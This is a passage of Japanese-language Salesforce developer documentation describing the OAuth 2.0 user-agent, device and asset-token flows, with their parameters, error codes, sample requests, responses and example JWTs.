– invalid_request  — HTTPS が必要
– invalid_request  — HTTP POST を使用する必要がある
– invalid_request  — 範囲パラメータがサポートされていない
– invalid_client_credentials  — クライアントの秘密が無効
– invalid_grant  — 認証エラー (ユーザが存在しないかパスワードが無効など)

– invalid_grant  — IP 制限または無効なログイン時間帯
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– inactive_user  — ユーザが無効
– inactive_org  — 組織がロックされているか、閉じられているか、中断されている
– rate_limit_exceeded  — ログイン数が超過した
返されるエラーの例を次に示します。
{"error":"invalid_client_credentials","error_description":"client secret invalid"}

関連トピック:

OAuth によるアプリケーションの認証

OAuth 2.0 ユーザエージェントフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

ユーザは、OAuth 2.0 ユーザエージェント認証フローを使用して、デスクトップ
またはモバイルアプリケーションがユーザのデータにアクセスすることを承認
します。デバイスまたはブラウザで実行されるクライアントアプリケーション
は、このフローを使用してアクセストークンを取得します。
ユーザエージェント認証フローは、ユーザのデバイスまたはコンピュータにあ
るクライアントアプリケーション (コンシューマ) で使用されます。JavaScript など
のスクリプト言語を使用してブラウザ内で実行されるクライアントアプリケー
ションでも、この認証フローを使用します。これらのアプリケーションはユー
ザごとの秘密を保護できます。ただし、アプリケーションが広範囲にわたって
配布されるため、クライアントの秘密を保持できません。認証は、ユーザエー
ジェントの発生元が同じポリシーに基づいています。
ユーザエージェント認証フローでは、クライアントアプリケーションは HTTP リ
ダイレクトとしてアクセストークンを受信します。クライアントアプリケーショ
ンは、ユーザエージェントを別の Web サーバまたはアクセス可能なローカルリ
ソースにリダイレクトするよう認証サーバに要求します。サーバは応答からア
クセストークンを抽出してクライアントアプリケーションに渡すことができま
す。セキュリティ上の理由により、トークン応答は、URL でハッシュ (#) フラグメントとして指定されます。こ
れにより、サーバや、参照ヘッダー内の他のサーバにトークンが渡されないようにします。
このユーザエージェント認証フローでは、クライアントの秘密を使用しません。これは、クライアントの実行
可能ファイルがユーザのデバイス上にあり、クライアントの秘密にアクセスできたり、悪用したりすることが
できるためです。

警告: アクセストークンはエンコードされてリダイレクト URI に挿入されているため、ユーザや、デバイ
ス上の他のアプリケーションに公開される場合があります。
JavaScript を使用して認証する場合、window.location.replace(); をコールし、ブラウザの履歴から
コールバックを削除してください。

1. クライアントアプリケーションは、アプリケーションの認証および承認のためにユーザを Salesforce に移動
します。

2. ユーザはこの認証フローのアクセスを承認します。
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3. アプリケーションは Salesforce からのコールバックを受信します。
コンシューマはアクセストークンを入手したら、そのアクセストークンを使用してユーザの代理で Salesforce

データにアクセスできます。アクセストークンが何らかの理由で無効になった場合、コンシューマは更新トー
クンを使用して新しいアクセストークンを取得できます。
ユーザエージェントフローでは、帯域外ポストはサポートしていません。

アクセストークンを取得するための Salesforce へのユーザの移動
Salesforceデータにアクセスするためのユーザの認証を取得するには、クライアントが次のパラメータを指定し
て認証エンドポイントにユーザを移動します。
• response_type  — 値は、token、または範囲パラメータ openidと nonceパラメータを指定した token

id_token です。token id_token を指定した場合は、Salesforce が応答に ID トークンを返します。詳細
は、「ID トークンの取得および確認」 (ページ 6803)を参照してください。

• client_id  — 接続アプリケーション定義のコンシューマ鍵。
• redirect_uri  — 承認後にユーザをリダイレクトする URI。URI は、接続アプリケーション定義の [コール

バック URL] 項目の値のいずれかに正確に一致している必要があります。この値は URL エンコードされて
いる必要があります。

• state  — (省略可能) コールバック中にコンシューマに戻すことが望まれる承認後の状態。
• scope  — 範囲値のスペース区切りのリスト。scopeパラメータでは、要求しているトークンに関連付けら

れる権限を細かく設定できます。範囲は、接続アプリケーションの定義時に指定した値のサブセットです。
有効なパラメータについては、「範囲パラメータの値」 (ページ 6800)を参照してください。

• display  — (省略可能) ログインページの表示の種類を変更します。Salesforce は次の値をサポートします。
– page  — 全画面認証ページ (デフォルト)

– popup  — 最新の Web ブラウザのポップアップウィンドウ用に最適化されたコンパクトなダイアログ
– touch  — Android や iPhone など、現在のスマートフォン用に設計された、モバイル用に最適化されたダ

イアログ
• login_hint  — このパラメータにユーザ名の有効な値を指定すると、ログインページにそのユーザ名が自

動入力されます。たとえば、login_hint=username@company.com のようになります。ユーザのブラウ
ザにすでに有効なセッションがある場合、login_hintパラメータは機能しません。有効なユーザセッショ
ンが継続されます。

• nonce  — ユーザ ID トークンを取得する場合の openid範囲で必須です。この値は応答で返され、「リプレ
イ」攻撃の検出に役立ちます。

• prompt  — (省略可能) 認証サーバがユーザに再認証および再承認を求める方法を指定します。Salesforceは次
の値をサポートします。
– login  — 認証サーバはユーザに再認証を求めて、再ログインを強制する必要があります。
– consent  — 認証サーバはクライアントに情報を戻す前にユーザに再承認を求める必要があります。
– select_account  — 表示された場合は、次のアクションのいずれかを実行します。

• 0 または 1 個のヒントを使用可能でユーザがログイン済みの場合、ログインを要求することなく承認
ページを表示します。

• 0 または 1 個のヒントを使用可能でユーザがログインしていない場合、ログインを要求します。
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• 複数のヒントを使用可能な場合は、アカウント選択機能が表示されます。

ユーザにログインおよび再認証を求めるには、スペースで区切られた login および consent の値を渡す
ことができます。次に例を示します。
?prompt=login%20consent

ユーザの移動先の URL の例を次に示します。
https://login.salesforce.com/services/oauth2/authorize?response_type=token&
client_id=3MVG9lKcPoNINVBIPJjdw1J9LLJbP_pqwoJYyuisjQhr_LLurNDv7AgQvDTZwCoZuD
ZrXcPCmBv4o.8ds.5iE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fuser_callback.jsp&
state=mystate

ユーザによるアクセスの承認と、クライアントの Salesforce からのコールバックの受信
ユーザがまだログインしていない場合、ユーザはSalesforceへのログインを求められます。その後、Salesforceは
ユーザにアプリケーションのアクセスを承認するよう要求します。アクセスが承認されると、ユーザは、ハッ
シュ記号 (#) の後に次の値を含む redirect_uri で指定された URI にリダイレクトされます。これはクエリ文
字列ではありません。
• access_token  — Web サービス API で使用できる Salesforce セッション ID。
• token_type  — 値は、アクセストークンを含むすべての応答の Bearer です。
• id_token  — 「OpenID Connect の仕様」に適合する Salesforce の値です。トークンが返されるのは、

response_type が、範囲パラメータ openid と nonce パラメータを指定した token id_token の場合
のみです。

• refresh_token  — 新しいアクセストークン (セッション) を取得するために将来使用できるトークン。こ
の値は秘密です。ユーザのパスワードなどと同様に処理し、適切な手段で保護します。

メモ: ユーザエージェントフローの更新トークンは、scope=refresh_token が要求され、次の状況
のいずれかに該当する場合にのみ発行されます。
– リダイレクト URL でカスタムプロトコルを使用している。
– リダイレクト URL が https://login.salesforce.com/services/oauth2/successであるか、

Sandboxの場合は https://test.salesforce.com/services/oauth2/successになっている。

• instance_url  — ユーザの組織のインスタンスを示す URL たとえば、
https://yourInstance.salesforce.com/ です。

• id  — ユーザと、ユーザの詳細に関するクエリの両方を識別するために使用できる ID URL。「ID URL」 (ペー
ジ 6804)を参照してください。

• sfdc_community_url  — ユーザが Salesforce コミュニティのメンバーである場合、コミュニティ URL が提
供されます。

• sfdc_community_id  — ユーザが Salesforce コミュニティのメンバーである場合、ユーザのコミュニティ ID

が提供されます。
• signature  — 連結 ID と issued_at を含むコンシューマの非公開キーで署名されている Base64 エンコード

された HMAC-SHA256 署名。ID URL がサーバから送信された後に変更されていないことを確認するために使用
します。
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• issued_at  — 証明が作成されたとき。
サーバからのコールバックの例を次に示します。応答は HTTP クエリパラメータとしてではなく、ハッシュ記
号の後にあります。
https://www.mysite.com/user_callback.jsp#access_token=00Dx0000000BV7z%21A
R8AQBM8J_xr9kLqmZIRyQxZgLcM4HVi41aGtW0qW3JCzf5xdTGGGSoVim8FfJkZEqxbjaFbbe
rKGk8v8AnYrvChG4qJbQo8&refresh_token=5Aep8614iLM.Dq661ePDmPEgaAW9Oh_L3JKk
DpB4xReb54_pZfVti1dPEk8aimw4Hr9ne7VXXVSIQ%3D%3D&instance_url=https%3A%2F%
2FyourInstance.salesforce.com&id=https%3A%2F%2Flogin.salesforce.com%2Fid%2F00Dx000
0000BV7z%2F005x00000012Q9P&issued_at=1278448101416&signature=miQQ1J4sdMPi
duBsvyRYPCDozqhe43KRc1i9LmZHR70%3D&scope=id+api+refresh_token&token_type=
Bearer&state=mystate

アクセスが拒否されるか、またはこのステップでエラーが発生すると、ユーザは redirect_uri にリダイレ
クトされます。URI のハッシュタグ (#) の後にエラーコードとエラーの説明が含まれています。これはクエリ文
字列ではありません。
• error  — エラーコード
• error_description  — 追加情報を含むエラーの説明

– unsupported_response_type  — レスポンスタイプがサポートされていない
– invalid_client_id  — クライアント ID が無効
– invalid_request  — HTTPS が必要
– invalid_request  — HTTP GET を使用する必要がある
– invalid_request— 帯域外はサポートされていない
– access_denied  — ユーザが認証を拒否した
– redirect_uri_missing  — redirect_uri が指定されていない
– redirect_uri_mismatch  — redirect_uri が接続アプリケーションオブジェクトと一致しない
– immediate_unsuccessful  — すぐに失敗
– invalid_grant  — 無効なユーザログイン情報
– invalid_grant  — IP 制限または無効なログイン時間帯
– inactive_user  — ユーザが無効
– inactive_org  — 組織がロックされているか、閉じられているか、中断されている
– rate_limit_exceeded  — ログイン数が超過した
– invalid_scope  — 要求された範囲が無効、不明、または誤った形式である

• state  — 承認ステップに渡された状態。この値は、stateパラメータが元のクエリ文字列に含まれている
場合にのみ含まれます。

エラーのリダイレクト URI の例を次に示します。
https://www.mysite.com/user_callback.jsp#error=access_denied&state=mystate

関連トピック:

OAuth によるアプリケーションの認証
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OAuth 2.0 デバイス認証フロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

通常、TV、アプライアンス、コマンドラインアプリケーションなど、入力機能
や表示機能が制限されたデバイスのアプリケーションでデバイス認証フローを
使用します。ユーザは、より発展した入力機能を持つ独立したデバイス (デスク
トップコンピュータ、スマートフォンなど) のブラウザにアクセスすることで、
このクライアントアプリケーションを Salesforce に接続できます。
次の図は、入力機能が制限されたデバイスの認証フロー手順を示しています。
個々のステップについては、後ほど説明します。

1. デバイスは、Salesforce からの認証を要求します。
2. Salesforceは、要求を検証して、人間が読み取れるユーザコード、検証 URL、デバイスコード、最小ポーリン

グ間隔 (秒) を返します。
3. デバイスは、ユーザコードを表示して、指定された検証 URL でそのコードを入力するようにユーザに指示

します。
4. ユーザは、デスクトップコンピュータやスマートフォンなどのより高度な入力機能のある個別のデバイス

でブラウザを開きます。
a. ユーザが検証 URL に移動すると、ユーザコードを入力するように求められます。
b. コードが有効な場合、ユーザがまだログインしていなければログインするように求められます。
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c. ログインに成功したら、ユーザはデバイスからSalesforceデータへのアクセスを許可するように求められ
ます。

5. デバイスは、ユーザコードと検証 URL を表示したら、認証のトークンエンドポイントのポーリングを開始
します。ポーリングの頻度は、最小ポーリング間隔を超えることはできません。デバイスは、ユーザがア
クセスを許可 (拒否) するか、ユーザコードの期限が切れるまでポーリングを続行します。

6. 許可された場合、認証サーバはアクセストークン、更新トークン (要求された場合)、およびその他の情報
をデバイスに返します。

7. アクセストークンが付与されると、デバイスは API 要求でアクセストークンを使用してユーザの代わりに
データにアクセスしたり、アクセストークンが無効になった場合に更新トークンを使用して新しいアクセ
ストークンを取得したりできます。

デバイスで認証フローを開始する
認証フローを開始するには、デバイスのクライアントアプリケーションで次のパラメータを使用してトークン
エンドポイントに POST します。
• response_type  — このフローの値は device_code である必要があります。
• client_id  — 接続アプリケーション定義のコンシューマ鍵。
• scope  — 省略可能。接続アプリケーションで定義されたいずれかの範囲を渡すことで、Salesforce 組織内で

クライアントアプリケーションが何にアクセスできるかを微調整できます。
次に例を示します。
POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
Content-Type: application/x-www-form-urlencoded

response_type=device_code&client_id=3MVG9PhR6g6B7ps7TTI4cP7Mppg3l7tu.MRAYULyVqcmA9hGLpHiiS.
Q7rO9yjlmffiBUM6tFpYAlXEkRjHb9&scope=api

これに対応して、認証サーバは、デバイス確認コード、エンドユーザ確認コード、および検証 URI が含まれる
値を返します。
• device_code  — デバイスの確認コード。10 分間有効です。
• user_code  — エンドユーザの確認コード。8 桁の英数字コードが検証 URI に入力されます。10 分間有効で

す。
• verification_uri  — 認証サーバ上のエンドユーザ検証 URI。組織にカスタムドメインまたはコミュニティ

がある場合、verification_uriは、フローを開始したカスタムドメインを反映します。たとえば、デバ
イスがトークン要求を https://acme.my.salesforce.com/services/oauth2/token に送信した場
合、verification_uri は https://acme.my.salesforce.com/connect になります。

• interval  — トークンエンドポイントへのポーリング要求から次のポーリング要求までの推奨の最小待機
時間 (秒)。

次のサンプル応答は、成功状況コード「200」と共にこれらの値を返しています。
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-store
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{
"device_code":"M01WRzlQaFI2ZzZCN3BzN1RUSTRjUDdNcHBnM2w3dHUuTVJBWVVMeVZxY21BOWhHTHBIaWlTLlE3ck
85eWpsbWZmaUJVTTZ0RnBZQWxYRWtSakhiOTsxMC4yMi4zNC45MjsxNDc3Njc0NDg3NTA1O1gxRDlTRUVU",
"user_code":"X1D9SEET",
"verification_uri":"https://acme.my.salesforce.com/connect",
"interval":5
}

ユーザによる認証および承認とデバイスによるトークンエンドポイントのポーリング
デバイスのクライアントアプリケーションは、コンピュータまたはスマートフォンで検証 URI にアクセスして
ユーザコードを入力するようユーザに指示します。ユーザはブラウザを開き、検証 URI に移動すると、デバイ
スに表示されたコードを入力するように求められます。コードが有効な場合、ユーザがまだログインしていな
ければログインするように求められます。ログインに成功したら、ユーザはデバイスからSalesforce取引先デー
タへのアクセスを許可するように求められます。
一方、デバイスのクライアントアプリケーションは、ユーザコードと検証 URI が表示されたらトークンエンド
ポイントのポーリングを繰り返します。ポーリングでは、ユーザが認証されているかどうかと、認証サーバが
アクセストークンを発行したかどうかを確認します。ポーリング要求には次のパラメータが含まれます。
• grant_type  — このフローの値は device である必要があります。
• client_id  — 接続アプリケーション定義のコンシューマ鍵。
• client_secret  — 省略可能。OAuth 2.0 デバイスフローでは不要です。
ポーリング要求の例を次に示します。
POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
Content-Type: application/x-www-form-urlencoded

grant_type=device&client_id=3MVG9PhR6g6B7ps7TTI4cP7Mppg3l7tu.MRAYULyVqcmA9hGLpHiiS.
Q7rO9yjlmffiBUM6tFpYAlXEkRjHb9&code=M01WRzlQaFI2ZzZCN3BzN1RUSTRjUDdNcHBnM2w3dHUu
TVJBWVVMeVZxY21BOWhHTHBIaWlTLlE3ck85eWpsbWZmaUJVTTZ0RnBZQWxYRWtSakhiOTsxMC4yMi4zNC45MjsxNDc3N
jc0NDg3NTA1O1gxRDlTRUVU

Salesforce によるアクセストークン応答を使用した応答
ユーザが認証されている場合、Salesforceからの応答に成功メッセージが含まれ、アクセストークンが他の値と
共に返されます。次に例を示します。
{
"access_token": "00DD00000008Uw2!ARkAQGppKf6n.VwG.EnFSvi731qWh.7vKfaJjL7h49yutIC84gAsxM
rqcE81GjpTjQbDLkytl2ZwosNbIJwUS0X8ahiILj3e"
"refresh_token": "your token here"
"signature": "hJuYICd2IHsjyTcFqTYiOr8THmgDmrcjgWaMp13X6dY="
"scope": "api"
"instance_url": "https://yourInstance.salesforce.com"
"id": "https://login.salesforce.com/id/00DD00000008Uw2MAE/005D0000001cAGmIAM"
"token_type": "Bearer"
"issued_at": "1477674717112"
}
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ユーザがまだ認証されていない (またはアクセス拒否された) 場合、次の情報を含むエラーメッセージが応答に
含まれます。
• error  — エラーコード

– access_denied  — ユーザのアクセスが拒否された
– authorization_pending  — ユーザがデバイスのアクセスをまだ承認していない
– invalid_grant  — 接続アプリケーションに対してデバイスフローが有効になっていない、またはアク

セストークンを付与できない
– invalid_request  — ポーリング要求に指定されたデバイスコードが無効
– server_error  — クライアントアプリケーションからの認証要求の数が 1 時間あたりの制限を超えた
– slow_down  — クライアントアプリケーションが推奨最小間隔より多い頻度で認証サーバのポーリング

を行っている
• error_description  — 追加情報を含むエラーの説明

OAuth 2.0 アセットトークンフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

OAuth 2.0 アセットトークンフローは、クライアントアプリケーションが接続デ
バイス用のアセットトークンを Salesforce に要求するために使用します。このフ
ローでは、OAuth アクセストークンおよびアクタートークンがアセットトークン
と交換されます。このフローは、アセットトークンの発行とアセットの登録を
組み合わせているため、トークン交換の効率が良く、デバイスと Service Cloud ア
セットデータが自動的にリンクします。
OAuth 2.0 JWT アセットトークンフローの一般的な手順は、次のとおりです。個々
のステップについては、後ほど説明します。
1. 新しい接続アプリケーションを作成するか、アセットトークンが有効化され

必要な設定が行われている既存の接続アプリケーションを使用します。
2. アセットトークンを要求できるようにアクセストークンを取得します。
3. アセットトークン JWT を作成します。

a. アクタートークンのペイロードの JWT を作成します。
b. アクタートークンからの情報を使用してSalesforceが新しいまたは既存のアセットを登録する方法を理解

します。
c. アクタートークン JWT を作成します。

4. トークンエンドポイントにアセットトークン要求を POST します。
5. アセットトークン JWT が有効な場合、Salesforceはアセットトークン応答にアセットトークンを発行します。

アセットトークンを要求できるようにアクセストークンを取得する
アクセストークンによって API アクセスの認証が可能になります。アクセストークンがなければ、アセットトー
クンを取得してデバイスを登録することはできません。接続デバイスの場合、アセットトークンを有効にして
いる接続アプリケーションにアクセストークンを関連付ける必要があります。OAuth 2.0 トークン交換プロトコ
ルをサポートする任意のアプリケーションを使用してアクセストークンを取得します。または、「Asset Token
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Explorer (アセットトークンエクスプローラ)」デモアプリケーションを使用すれば、アクセストークンをすばや
く取得できるため、アセットトークンの機能にすぐに慣れることができます。
アクセストークンを取得するための一般的な方法として、認証コードの交換、OAuth トークンフロー、JWT ベ
アラートークンフローの方法があります。ブラウザと、cURL などのユーティリティを使用して、認証コードの
取得と交換ができます。
1. ブラウザで次の URL にアクセスします (プレースホルダの値を適切な値で置き換えてください)。

https://your_community_url/services/oauth2/authorize?response_type=code&client_id=your_client_id&
redirect_uri=your_url_encoded_redirect_uri

2. アプリケーションにログインしてアプリケーションを承認します。
3. コールバックを受け取ったら、認証コードを取得します。アクセストークンと引き換えに、認証コードと

他のプレースホルダ値を置き換えます。
curl -s -k -d
"grant_type=authorization_code&code=authorization_code&redirect_uri=
your_url_encoded_redirect_uri&client_id=your_client_id&client_secret=your_client_secret"
https://your_community_url/services/oauth2/token

デバイス、アプリケーション、バックエンドを完全に設定することなくアセットトークンに関する処理をすぐ
に行ってみたい場合は、「Asset Token Explorer (アセットトークンエクスプローラ)」デモアプリケーションをご
利用ください。このデモアプリケーションでは、アクセストークンを取得してアセットトークンと交換するた
めの初期操作が簡素化されています (実際の実装でこのデモアプリケーションを使用することはできません)。
1. ブラウザで https://asset-tokens.herokuapp.com/ にアクセスします。
2. 私のドメインの URL またはコミュニティの URL を入力します。次に [URL を検証] をクリックして、OAuth 認

証を開始します。
3. 接続アプリケーションからの [OAuth のクライアント ID] および [OAuth のクライアントの秘密] を指定

します。
4. [アプリケーションのログイン情報を検証] をクリックします。
5. [コミュニティにログイン] をクリックします。
6. コミュニティに外部ユーザとしてログインします。
7. 接続アプリケーションを承認します。
8. アクセストークンの [認証コードを交換] をクリックします。

アセットトークン JWT を作成する
アセットトークンを要求するために、トークンエンドポイントに POST できるアセットトークン JWT を作成し
ます。この JWT には、次のパラメータが含まれます。
• grant_type  — 必須。値は urn:ietf:params:oauth:grant-type:token-exchangeである必要があり

ます。
• subject_token_type  — 必須。値は urn:ietf:params:oauth:token-type:access_token である必

要があります。
• subject_token  — 必須。値はアクセストークンである必要があります。
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• actor_token_type  — actor_token を指定しない限り、省略可能です。値は
urn:ietf:params:oauth:token-type:jwt である必要があります。

• actor_token  — 省略可能。値は、アセット (新規または既存) に関するメタデータが含まれる JWT である必
要があります。

トークン発行プロトコルでは、OAuth 2.0 のトークン交換が使用されます。このプロトコルでは、サブジェクト
トークンはセキュリティトークンであり、そのトークンで表される ID の当事者に代わって要求が実行されま
す。アセットトークンは、単なるアクセストークンです。アクタートークンはセキュリティトークンであり、
そのトークンで表される ID の当事者が、要求されたセキュリティトークンの使用を許可され、サブジェクト
の代理の役割を果たします。アセットトークンの場合、これは、アセットのメタデータが含まれる JWT です。
「所有の証明」が必要とされる使用事例では、確認キーを含めて、アクタートークンに署名できます。それ以
外の場合は、未署名でかまいません。

アクタートークンのペイロード形式と要求
アセットトークン要求のアクタートークン部分を詳しく見てみましょう。アクタートークンのペイロードは、
登録しているデバイスに関する一連の要求が含まれる JWT です。すべての要求は省略可能です。このメタデー
タのいずれかを渡さなくても、アセットトークンは発行されますが、アセットを同時に登録することはできま
せん。
• did  — デバイスのデバイス ID。これを含めた場合、発行されたアセットトークンにこのデバイス ID が保存

されて返されます。
• Name  — アセットトークンの名前。
• cnf  — 確認。デバイス固有の RSA 公開鍵 (JSON Web Key 形式) が含まれます。この形式は、「Proof-of-Possession

Key Semantics for JSON Web Tokens (JSON Web トークンの「所有の証明」キーセマンティック)」仕様で定義され
ています。これを含めた場合、公開鍵に対応する非公開鍵を使用してアクタートークンに署名する必要が
あります。

• Asset  — アセットの JSON オブジェクト。カスタム項目を含めアセットオブジェクトの有効な項目が含ま
れます。これを使用して、ID またはシリアル番号で既存のアセットにリンクしたり、指定した名前でアセッ
トを作成したりします。

• exp  — 有効期限。これを使用して、JWT の有効期限が切れていないことを検証します。
たとえば、次のアクタートークンペイロードにはアセット要求が含まれます。
{
"did": "2c4c73e7-edc5-77dd-011d-43562d21cb7e",
"Name": "My Asset Token",
"cnf": {
"jwk": {
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"alg": "RS256",
"n":

"AJNGcu8nW6xq2l_dAgbJmSfHLGRn-vCuKWY-LAELw-Kerjaj5Dq3ZGW38HR4BmZksG3g4eA1RXn1hiZGI1Q
6Ei59QE_OZQx2zVSTb7-oIwRcDHEB1-RraYT3LJuh4JwUDVfEj3WgDnTjE5vD46l_CR5EXf4VL8uo8T40FkA
51AhT"

}
},
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"Asset": {
"Name": "Asset 19730",
"SerialNumber": "9461094121",
"AccountId": "001D000000KtKgS",
"MyCustomAssetField__c": "Depreciated"

}
}

Salesforce が既存のまたは新しいアセットを登録する方法
アセットトークンフロー中に、Salesforceは既存のアセットにアセットトークンをリンクしたり、アセットを作
成したりします。
1. アセット要求に ID 要求が含まれる場合、一致する ID を使用して既存のアセットにリンクします。
2. 上記に該当せず、アセット要求に SerialNumber 要求が含まれる場合、一致するシリアル番号を使用して既存

のアセットにリンクします。
3. 上記に該当せず、アセット要求に Name 要求が含まれる場合、アセットを作成 (登録) します。

メモ: アセットを作成するには、アセットの AccountId または ContactId が必要です。

4. 上記に該当しない場合、リンクやアセットの作成を行いません。API を使用して、アセットを後で個々にリ
ンクできます。

アクタートークン JWT を作成する
アクタートークンのペイロードを作成した後、アクタートークン JWT を作成します。形式は、アクタートーク
ンに署名するかどうかによって異なります。未署名のアクタートークンでは、デバイスの対応する公開鍵なし
で、アセットの登録要求が伝達されます。署名済みのアクタートークンでは、結果のアセットトークンに公開
鍵を含めることができます。デバイスは公開鍵を使用して、非公開鍵の所有を証明します。これにより、トー
クンはトークンの発行先のデバイスで使用されることが保証されます。
未署名のアクタートークンには、1 つの要求を含むヘッダーがあります。
• alg  — アルゴリズム要求。JWT に署名が適用されていないことを示します。値は none である必要があり

ます。
署名済みアクタートークンには、次の要求を含むヘッダーがあります。
• alg  — アルゴリズム要求。署名アルゴリズムを識別します。値は RS256 である必要があります。
• typ  — 種別要求。トークンの種別を識別します。値は JWT である必要があります。
未署名のアクタートークンの例を次に示します。
eyJhbGciOiAibm9uZSJ9.eyAiZGlkIiA6ICIzNDk2NDMzMS04YTZjLTRmODYtYjM0Zi0zMjI3ZWExZjU1MDk
iLCAiTmFtZSIgOiAiMzQ5NjQzMzEtOGE2Yy0Zjg2LWIzNGYtMzIyN2VhMWY1NTA5IiwgIkFzc2V0IiA6IHs
gIk5hbWUiIDogIk15IENvbm5lY3RlZCBEZXZpY2UiLCAiU2VyaWFsTnVtYmVyIiA6ICIzNDk2NDMzMS04YTZ
jLTRmODYtYjM0Zi0zMjI3ZWExZjU1MDkiLCAiQWNjb3VudElkIiA6ICIwMDFEMDAwMDAwS3Uwd0UiIH0gfQ.

これは、復号化されて次のヘッダーが作成されます。
{"alg": "none"}
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ペイロードは次のように作成されます。
{
"did": "34964331-8a6c-4f86-b34f-3227ea1f5509",
"Name": "My Asset Token",
"Asset" : {
"Name" : "My Connected Device",
"SerialNumber" : "349643 1-8a6c-4f86-b34f-3227ea1f5509",
"AccountId" : "001D000000Ku0wE"

}
}

署名ブロックはありません。
署名済みアクタートークンの例を次に示します。
eyJhbGciOiAibm9uZSJ9.eyAiZGlkIiA6ICIzNDk2NDMzMS04YTZjLTRmODYtYjM0Zi0zMjI3ZWExZjU1MDk
iLCAiTmFtZSIgOiAiMzQ5NjQzMzEtOGE2Yy0Zjg2LWIzNGYtMzIyN2VhMWY1NTA5IiwgIkFzc2V0IiA6IHs
gIk5hbWUiIDogIk15IENvbm5lY3RlZCBEZXZpY2UiLCAiU2VyaWFsTnVtYmVyIiA6ICIzNDk2NDMzMS04YTZ
jLTRmODYtYjM0Zi0zMjI3ZWExZjU1MDkiLCAiQWNjb3VudElkIiA6ICIwMDFEMDAwMDAwS3Uwd0UiIH0gfQ.
DLVM9EGvZ1VasMSzPbi7mviIXucvTktfOTYq62cTVduSsLKR4gX3Q8xfm85SfqoMaCQVXLNGkZ1iYv5LjJ4_
e69yl9r5gIML7qHDwQOSqgsNYd8HPK4qpXv1QMzBCRXCNenqQ0YhJbokCPWeHWWnPNGFYuquKL2fTTmczadTo

これは、復号化されて次のヘッダーが作成されます。
{
"typ": "JWT",
"alg": "RS256"

}

ペイロードは次のように作成されます。
{
"cnf": {
"jwk": {
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"alg": "RS256",
"n":

"AJNGcu8nW6xq2l_dAgbJmSfHLGRn-vCuKWY-LAELw-Kerjaj5Dq3ZGW38HR4BmZksG3g4eA1RXn1hiZGI1Q
6Ei59QE_OZQx2zVSTb7-oIwRcDHEB1-RraYT3LJuh4JwUDVfEj3WgDnTjE5vD46l_CR5EXf4VL8uo8T40FkA
51AhT"

}
},
"did": "34964331-8a6c-4f86-b34f-3227ea1f5509",
"Name": "My Asset Token"

}

署名ブロックは、header.payload. の RSA SHA256 署名です。これは、base64url エンコードされ、JWT に付加
されます。cnf要求に指定した公開鍵を使用して、JWT 上のこの署名を検証できる必要があります。有効な場
合、公開鍵はアセットトークンイベントレコードに保存され、返されたアセットトークン JWT の cnf 要求に
含まれます。
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トークンエンドポイントにアセットトークン要求を POST する
アクタートークン JWT を作成したら、それを Salesforce OAuth トークンエンドポイントに POST して、アセット
トークンを要求します。
未署名のアクタートークンを使用してトークンエンドポイントに POST された要求の例を次に示します。
POST /services/oauth2/token HTTP/1.1
Host: customercommunity.force.com
Content-Type: application/x-www-form-urlencoded

grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Atoken-exchange&subject_
token_type=access_token&subject_token=0DB00001iSr!AR0AQDhXv4xNCYPUwRa3_KyiZxN
gNmrJU7QPJUrvBRM9x3MLnlEbOOsuldLL.3mb.nML1h8G8zAc2zkUU_q.HEM6bY0kOJjDL&actor_
token_type=urn%3Aietf%3Aparams%3Aoauth%3Atoken-type%3Ajwt&actor_token=eyJhbGc
iOiJub25lIiwidHlwIjoiSldU In0.eyJkaWQiOiI4NTc4OTliOS02OTk4LTQzZDQtODQ4My0xOTR
lODBkNzE4Y2MiLCJBc3NldFRva2VuQ3VzdG9tQXR0cmlidXRlX19jIjoiTXkgVmFsdWUiLCJBc3Nl
dCI6eyJOYW1lIjoiRGlzaHdhc2hlciIsIlNlcmlhbE51bWJlciI6IjEyMzQ1Njc4In19.

「Asset Token Explorer (アセットトークンエクスプローラ)」デモアプリケーションを使用してアセットトークン
を要求する場合、次のステップに従います。
1. アクセストークンを取得してからしばらく時間がたち、有効期限が切れている可能性がある場合、新しい

アクセストークンを要求します。
2. アセットトークン要求として自動的に入力されたサンプルデータを確認します。自由に変更できます。実

際の実装では、登録しているアセットに関するこのデータがアクタートークン内の要求になります。
3. [アクタートークンを作成] をクリックします。
4. 結果のアクタートークンと、アクタートークン要求に変換されたデータを確認します。
5. [次へ] をクリックします。
6. アクタートークンおよびアクセストークンをアセットトークンと交換するためのプロトコルを確認します。
7. [次へ] をクリックします。

Salesforce によるアクセストークン応答を使用した応答
アクタートークン JWT が有効な場合、Salesforce からのアクセストークン応答に成功メッセージが含まれ、ア
セットトークンが返されます。次に例を示します。
HTTP/1.1 200 OK
Date: Wed, 06 Jan 2017 21:25:11 GMT
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, no-store,s-maxage=0 Content-Type: application/json;charset=UTF-8
{
"access_token":"eyJraWQiOiJBc3NldHMiLCJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdWQiOl
siaHR0cDovL2xvY2FsaG9zdDo1MDAwIl0sIm5iZiI6MTQ1MjExNTUxMSwiaXNzIjoiaHR0cHM6Ly9hc3NldG
lkLWRldmVsb3Blci1lZGl0aW9uLm5hMS1ibGl0ejAzLnNvbWEuZm9yY2UuY29tIiwiaWQiOiIwNWJEMDAwMD
AwMDAwMUiLCJleHAiOjE0NTI2MzM5MTEsImFpZCI6IjAyaUQwMDAwMDAxNkdESyIsImRpZCI6IjM0OTY0Mz
MxLThNmMtNGY4Ni1iMzRmLTMyMjdlYTFmNTUwOSJ9.poVKl-fBrFi9tgKurAM2vbyGWZ5asbXJ5nQlfA
